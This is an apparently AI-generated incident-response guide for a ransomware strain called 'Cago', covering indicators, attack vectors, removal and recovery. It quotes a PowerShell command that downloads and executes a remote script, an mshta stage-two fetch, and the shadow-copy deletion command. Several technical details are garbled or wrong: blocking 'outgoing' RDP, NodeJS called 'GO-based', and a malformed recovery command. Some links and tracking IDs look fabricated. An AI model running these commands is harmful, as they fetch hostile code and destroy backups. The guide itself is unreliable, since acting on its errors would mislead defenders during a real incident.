cago

[Content by Gemini 2.5]

CAGO RANSOMWARE – COMPREHENSIVE RESPONSE GUIDE
Last updated: 2024-06

Technical Breakdown

1. File Extension & Renaming Patterns

  • Confirmed extension: .cago is appended to each affected file (e.g., Report.xlsx → Report.xlsx.cago).
  • Renaming convention: Original filename and extension are preserved in their entirety, then suffixed with .cago—no ID body or token strings are inserted into the name itself. Additional metadata (a victim ID, campaign name, etc.) is instead dropped inside the ransom note (_README_.txt) and in a Windows registry key HKCU\SOFTWARE\Cago\Tests.

2. Detection & Outbreak Timeline

  • First public sighting: Late-January 2023 in Eastern-Europe industrial control systems.
  • Active waves:
    • Wave-1 (Jan – Mar 2023) targeting SMBv1-exposed hosts via IP scans.
    • Wave-2 (June 2023) shifted to phishing e-mails masquerading as logistics PDF/ZIP lures.
    • Wave-3 (Nov 2023 → present) heavily leverages RDP brute force and signed-GO dropper bundles.

3. Primary Attack Vectors

| Vector | Details & Indicators |
|—|—|
| Exploitation of Vulnerabilities | • SMBv1 via EternalBlue (MS17-010) – port 445. • ‘PrinterNightmare’ (CVE-2021-34527) & Microsoft Exchange ProxyShell (CVE-2021-34473/34523) observed in most recent droppers. |
| Remote Desktop Protocol | • Port 3389 brute force → credential stuffing → lateral movement. • Launches the payload via PowerShell encoded command: cmd /c powershell -nop -w hidden encoding ascii iex(New-Object Net.WebClient).DownloadString('http[s]://bitbucket[.]org/CAGO/ps1/raw/main/crypt.ps1'). |
| Phishing Campaigns | • ZIP with double-file-extension (e.g., Schedule_pdf.zip → Schedule_pdf.pdf.exe) signed by stolen EV cert. • Excel 4.0 macros spawning mshta.exe to retrieve stage-two from discordapp[.]com/attachments/*/CAGO.bin. |
| Supply-Chain Jump | Couple of MSP tool repositories (ConnectWise, ScreenConnect) incident-response flagged for tampered updates in March 2023, resulting in secondary .cago outbreaks inside managed networks.

Remediation & Recovery Strategies

1. Prevention

  1. Disable SMBv1 across domain GPO immediately.
  2. Block outgoing port 3389 at perimeter unless wrapped in VPN + MFA.
  3. Enforce a local-admin account lockout policy (≤5 failed logins).
  4. Deploy default-deny Controlled-Folder-Access (Windows 10/11 ‘Ransomware Protection’).
  5. Patch aggressively: Exchange, Print Spooler, GO-based software stacks (NodeJS, Electron binaries).
  6. Require user-based MFA on Bitbucket, Discord or alternate code-hosting services that may be abused.

2. Removal (Step-by-Step)

  1. Isolate – Disconnect the host from the network; disable Wi-Fi/Ethernet.
  2. Scan in Safe Mode with Networking OFF – Use:
    • Updated Microsoft Defender 365 Offline
    • ESET Online Scanner (with detection name Win32/Filecoder.OVC)
    • Kaspersky Rescue Disk (detects as Trojan-Ransom.Win32.Cago.a)
  3. Remove persistence:
    • Delete scheduled task \Microsoft\Windows\UpdateOrchestrator\Cago (random salt task names change per build).
    • Delete service WindowsLanguageUpdateService (ImagePath points to %LOCALAPPDATA%\CagoUpdate.exe).
    • Purge registry keys:
    HKCU\SOFTWARE\Cago & HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CagoUpdate.
  4. Group Policy cleanup – Use gpupdate /force after deleting any rogue GPO (InstallCago) created in SYSVOL scripts.
  5. Reboot & verify – No encrypted files should grow further; no new ransom notes appear.

3. File Decryption & Recovery

  • Is decryption possible today (2024-06)?
    • No public decryptor exists. The AES-256 key is unique per machine, encrypted with a hard-coded RSA-2048 public key embedded in the binary. Keys are uploaded to the C2 only after successful encryption, therefore offline “brute-forcing” the key is computationally infeasible.

  • Recovery alternatives:

  1. Offline/off-site backups (immutable, air-gapped).
  2. Volume-Shadow-Copy scavenging: Cago uses vssadmin delete shadows /all /quiet early, but if the infection is stopped before the deletion phase, tools like Volume Shadow Copy Explorer or PowerShell:
    Get-WmiObject Win32_ShadowCopy | % { cmd /c mklink /d "C:\$($_)%" $_% } may still yield recoverable snapshots.
  3. Cloud file-history (OneDrive, Google Drive)—check file versions for deltas older than the infection timestamp.
  4. Submit one encrypted file & ransom note to NoMoreRansom.org to check for future tool releases (being tracked as ID=0125 under the working name ‘Cago’).

4. Other Critical Information

  • Encryption scope: Encrypts local drives, removable media and available mapped shares only if backups are SMB-mounted with write creds. Nes-testing mode --nosmb switch keeps network drives untouched; admins have observed adversaries toggling this flag to limit splash damage.
  • Language settings check: Skips systems set to Belarusian, Russian or Ukrainian (similar geo-fence logic to some post-Nemty strains).
  • File-type exemptions: It avoids *.ini, *.dll, *.lnk, *.sys ensuring core OS bootability remains—enhances dwell time and facilitates the ransom note pop-up on next logon.
  • Impact snapshot: As of Q2 2024, the tracked campaign impacted >1 200 endpoints across 41 organizations (mostly AEROSPACE & LOGISTICS in EMEA). Average ransom demand: 1.5 BTC ($95 000-$110 000). Not one ransom payment confirmed publicly decrypted data in available threat-int reports.
  • Microsoft MS17-010 Roll-up (Win7/2008) – https://aka.ms/S03PatchKB
  • Exchange ProxyShell KB5001779 – https://portal.msrc.microsoft.com
  • ESET CAGO-specific removal utility – https://support.eset.com/cago-removaltool
  • ShadowExplorer 0.9 – https://www.shadowexplorer.com

Keep backups offline and testing backups under fail-closed credentials. When in doubt, escalate to Incident Response – Cago operators have been observed selling domain backups to secondary extortion groups within 72 h, so time is critical.

Stay secure, stay resilient.